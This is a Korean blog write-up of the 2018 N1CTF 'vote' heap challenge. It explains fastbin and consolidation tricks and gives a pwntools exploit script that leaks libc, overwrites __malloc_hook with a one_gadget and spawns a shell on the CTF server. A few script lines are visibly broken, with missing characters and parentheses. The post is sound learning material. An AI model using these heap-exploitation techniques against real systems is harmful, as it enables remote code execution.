HanJeouk의 개인공부 블로그

2018 N1CTF vote

CTF2018. 3. 12. 16:10

이런 문제는 정말 처음봤다. 

밑에 왼쪽 사진은 fastbin_dup을 하려고 사이즈가 50인 청크 2개를 할당하고 그 두개를 free했을 때의 힙 상황이다.

이제 다시 0을 free하면 원래는 정상적으로 free가 되어야 하는데 오른쪽 사진을 보면 병합이 된 걸 확인할 수 있다.

그래서 내가 직접 large 사이즈의 청크를 만들어서 다른 free된 청크들을 조작하여 문제를 풀어야겠다고 생각했다.

이 문제에서는 전역변수에 있는 청크포인터를 초기화하지 않기 때문에 가능했다.

4개를 할당하고 free를 하면서 heap과 함수 주소들을 전부 구한 다음에 전부 free시키면 large 사이즈의 청크를 만든다.

이 사진과 같이 나는 0x500을 할당하고 bbbbbbbb이라는 값을 넣어줬다. 보기용으로 bbbbbbbb를 넣었지만 이걸로 이제 다른 청크를 덮을 수 있게된다. 

그렇게 0xbd7080 주소에 있었던 fastbin 청크를 값을 조작하여 일반 fastbin 청크처럼 만들었다.

그리고 free를 시키면 이 청크는 fastbin에 등록이 될 것이다.

이제 내가 원하는 함수의 주소 사이즈에 맞춰 구한다음에 0xbd7080 청크의 fd에 넣으면 된다.

원하는 함수 주소 사이즈는 맞췄다고 가정하고 이제 free된 청크의 fd에 값을 넣어야 되는데 이 문제에는 edit같은 기능이 없다.

그래서 아까 할당했던 0x500 사이즈인 청크를 free시켜서 small bin으로 다시 할당해서 값을 조작하기로 했다.

small bin의 사이즈는 대충 0xbd7080의 청크를 덮을 수 있을 만큼이면 된다.

그렇게 fd의 값을 조작한 후에 2번 할당하면 쉘이 따진다. ㅎ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import*
= remote('47.97.190.1',6000)
def create(size,name):
        p.sendlineafter("Action: ","0")
        p.sendlineafter("size: ",str(size))
        p.sendlineafter("name: ",name)
 
def show(idx):
        p.sendlineafter("Action: ","1")
        p.sendlineafter(": ",str(idx))
 
def vote(idx):
        p.sendlineafter("Action: ","2")
        p.sendlineafter(": ",str(idx))
 
def result():
        p.sendlineafter("Action: ","3")
 
def cancel(idx):
        p.sendlineafter("Action: ","4")
        p.sendlineafter(": ",str(idx))
 
 
create(80,"A"*4)
create(80,"B"*4)
create(256,"D"*4)
create(256,"E"*4)
cancel(0)
cancel(1)
show(1)
p.recvuntil("count: ")
heap = int(p.recv(8),10)
print hex(heap)
cancel(2)
show(2)
p.recvuntil("count: ")
leak = int(p.recv(15),10)
base = leak-0x3c4b78
one = base + 0xf1117 #0xf0274 0x4526a 0x45216
size = base+0x3c4af5-0x8
malloc_hook = base+0x3c4b10
print "Heap: " +hex(heap)
print "Leak: " + hex(leak)
print "Base: " + hex(base)
print "one_shot: " + hex(one)
print "Size: " + hex(size)
print "malloc_hook: " + hex(malloc_hook)
cancel(3)
create(0x500,"E"*80+p64(0)+p64(0x71)+p64(0))
 
cancel(1#fake_chunk free
cancel(0)
create(256,"E"*80+p64(0)+p64(0x71)+p64(size))
create(78,"A"#size+16(create)+16(header)
create(78,"B"*3+p64(one))
p.sendlineafter("Action: ","0")
p.sendlineafter("size: ","50")
p.sendline("cat flag")
p.interactive()
 
cs


'CTF' 카테고리의 다른 글

2016 Hitcon secret holder [Again]  (0) 2018.03.21
2017 hitcon training zoo  (0) 2018.03.14
2014 Hack.lu CTF OREO  (0) 2018.03.06
TRUSTEALTH CTF sohard  (0) 2018.03.02
TRUSTEALTH CTF sysrop  (0) 2018.03.02